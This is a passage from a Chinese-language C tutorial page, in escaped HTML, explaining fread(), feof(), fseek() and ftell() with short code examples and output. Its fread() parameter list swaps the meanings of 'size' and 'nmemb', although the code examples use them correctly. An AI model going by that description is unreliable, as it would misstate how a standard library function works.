class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= \u003cspan class=\"number\"\u003e100\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fwrite(\u0026amp;myClient, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e clientData), \u003cspan class=\"number\"\u003e1\u003c/span\u003e, cfPtr);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efwrite()\u003c/code\u003e连续将100条数据写入文件。\u003c/p\u003e\u003ch3 id=\"fread\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fread\" class=\"headerlink\" title=\"fread()\"\u003e\u003c/a\u003efread()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efread()\u003c/code\u003e函数用于一次性从文件读取较大的数据块,主要用途是将文件内容读入一个数组,适合读取二进制数据。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003efread\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* ptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE* fp\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受四个参数,与\u003ccode\u003efwrite()\u003c/code\u003e完全相同。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eptr\u003c/code\u003e:数组地址。\u003c/li\u003e\u003cli\u003e\u003ccode\u003esize\u003c/code\u003e:数组的成员数量。\u003c/li\u003e\u003cli\u003e\u003ccode\u003enmemb\u003c/code\u003e:每个数组成员的大小。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efp\u003c/code\u003e:文件指针。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e要将文件内容读入数组\u003ccode\u003earr\u003c/code\u003e,可以采用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efread(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组长度(第二个参数)和每个成员的大小(第三个参数)的乘积,就是数组占用的内存空间的大小。\u003ccode\u003efread()\u003c/code\u003e会从文件(第四个参数)里面读取相同大小的内容,然后将\u003ccode\u003eptr\u003c/code\u003e(第一个参数)指向这些内容的内存地址。\u003c/p\u003e\u003cp\u003e下面的例子是将文件内容读入一个10个成员的双精度浮点数数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e earnings[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efread(earnings, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e), \u003cspan class=\"number\"\u003e10\u003c/span\u003e, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每个数组成员的大小是\u003ccode\u003esizeof(double)\u003c/code\u003e,一个有10个成员,就会从文件\u003ccode\u003efp\u003c/code\u003e读取\u003ccode\u003esizeof(double) * 10\u003c/code\u003e大小的内容。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efread()\u003c/code\u003e函数的返回值是成功读取的数组成员的数量。正常情况下,该返回值就是第三个参数\u003ccode\u003enmemb\u003c/code\u003e,但如果出现读取错误或读到文件结尾,该返回值就会比\u003ccode\u003enmemb\u003c/code\u003e小。所以,检查\u003ccode\u003efread()\u003c/code\u003e的返回值是非常重要的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efread()\u003c/code\u003e和\u003ccode\u003efwrite()\u003c/code\u003e可以配合使用。在程序终止之前,使用\u003ccode\u003efwrite()\u003c/code\u003e将数据保存进文件,下次运行时再用\u003ccode\u003efread()\u003c/code\u003e将数据还原进入内存。\u003c/p\u003e\u003cp\u003e下面是读取上一节生成的二进制文件\u003ccode\u003eoutput.bin\u003c/code\u003e的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;output.bin\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;rb\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (fread(\u0026amp;c, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e), \u003cspan class=\"number\"\u003e1\u003c/span\u003e, fp) \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e运行后,得到如下结果。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e37\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e88\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"feof\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#feof\" class=\"headerlink\" title=\"feof()\"\u003e\u003c/a\u003efeof()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efeof()\u003c/code\u003e函数判断文件的内部指针是否指向文件结尾。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efeof\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *fp)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efeof()\u003c/code\u003e接受一个文件指针作为参数。如果已经到达文件结尾,会返回一个非零值(表示 true),否则返回\u003ccode\u003e0\u003c/code\u003e(表示 false)。\u003c/p\u003e\u003cp\u003e诸如\u003ccode\u003efgetc()\u003c/code\u003e这样的文件读取函数,如果返回 EOF,有两种可能,一种可能是已读取到文件结尾,另一种可能是出现读取错误。\u003ccode\u003efeof()\u003c/code\u003e可以用来判断到底是那一种情况。\u003c/p\u003e\u003cp\u003e下面是通过\u003ccode\u003efeof()\u003c/code\u003e判断是否到达文件结尾,从而循环读取整个文件的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e name[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFILE* cfPtr = fopen(\u003cspan class=\"string\"\u003e\u0026#34;clients.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!feof(cfPtr)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(cfPtr, \u003cspan class=\"string\"\u003e\u0026#34;%d%s\\n\u0026#34;\u003c/span\u003e, \u0026amp;num, name);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %s\\n\u0026#34;\u003c/span\u003e, num, name);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efclose(cfPtr);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例通过循环判断\u003ccode\u003efeof()\u003c/code\u003e是否读到文件结尾,从而实现读出整个文件内容。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efeof()\u003c/code\u003e为真时,可以通过\u003ccode\u003efseek()\u003c/code\u003e、\u003ccode\u003erewind()\u003c/code\u003e、\u003ccode\u003efsetpos()\u003c/code\u003e函数改变文件内部读写位置的指示器,从而清除这个函数的状态。\u003c/p\u003e\u003ch3 id=\"fseek\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fseek\" class=\"headerlink\" title=\"fseek()\"\u003e\u003c/a\u003efseek()\u003c/h3\u003e\u003cp\u003e每个文件指针都有一个内部指示器(内部指针),记录当前打开的文件的读写位置(file position),即下一次读写从哪里开始。文件操作函数(比如\u003ccode\u003egetc()\u003c/code\u003e、\u003ccode\u003efgets()\u003c/code\u003e、\u003ccode\u003efscanf()\u003c/code\u003e和\u003ccode\u003efread()\u003c/code\u003e等)都从这个指示器指定的位置开始按顺序读写文件。\u003c/p\u003e\u003cp\u003e如果希望改变这个指示器,将它移到文件的指定位置,可以使用\u003ccode\u003efseek()\u003c/code\u003e函数。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efseek\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e offset, \u003cspan class=\"type\"\u003eint\u003c/span\u003e whence)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efseek()\u003c/code\u003e接受3个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e:文件指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eoffset\u003c/code\u003e:距离基准(第三个参数)的字节数。类型为 long int,可以为正值(向文件末尾移动)、负值(向文件开始处移动)或 0(保持不动)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewhence\u003c/code\u003e:位置基准,用来确定计算起点。它的值是以下三个宏(定义在\u003ccode\u003estdio.h\u003c/code\u003e):\u003ccode\u003eSEEK_SET\u003c/code\u003e(文件开始处)、\u003ccode\u003eSEEK_CUR\u003c/code\u003e(内部指针的当前位置)、\u003ccode\u003eSEEK_END\u003c/code\u003e(文件末尾)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e请看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件开始处\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e0L\u003c/span\u003e, SEEK_SET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件末尾\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e0L\u003c/span\u003e, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 从当前位置前移2个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e2L\u003c/span\u003e, SEEK_CUR);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件第10个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e10L\u003c/span\u003e, SEEK_SET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件倒数第10个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e-10L\u003c/span\u003e, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efseek()\u003c/code\u003e的第二个参数为 long 类型,所以移动距离必须加上后缀\u003ccode\u003eL\u003c/code\u003e,将其转为 long 类型。\u003c/p\u003e\u003cp\u003e下面的示例逆向输出文件的所有字节。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (count = \u003cspan class=\"number\"\u003e1L\u003c/span\u003e; count \u0026lt;= size; count++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fseek(fp, -count, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch = getc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003efseek()\u003c/code\u003e最好只用来操作二进制文件,不要用来读取文本文件。因为文本文件的字符有不同的编码,某个位置的准确字节位置不容易确定。\u003c/p\u003e\u003cp\u003e正常情况下,\u003ccode\u003efseek()\u003c/code\u003e的返回值为0。如果发生错误(如移动的距离超出文件的范围),返回值为非零值(比如\u003ccode\u003e-1\u003c/code\u003e)。\u003c/p\u003e\u003ch3 id=\"ftell\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ftell\" class=\"headerlink\" title=\"ftell()\"\u003e\u003c/a\u003eftell()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eftell()\u003c/code\u003e函数返回文件内部指示器的当前位置。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eftell\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数。返回值是一个 long 类型的整数,表示内部指示器的当前位置,即文件开始处到当前位置的字节数,\u003ccode\u003e0\u003c/code\u003e表示文件开始处。如果发生错误,\u003ccode\u003eftell()\u003c/code\u003e返回\u003ccode\u003e-1L\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eftell()\u003c/code\u003e可以跟\u003ccode\u003efseek()\u003c/code\u003e配合使用,先记录内部指针的位置,一系列操作过后,再用\u003ccode\u003efseek()\u003c/code\u003e返回原来的位置。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan 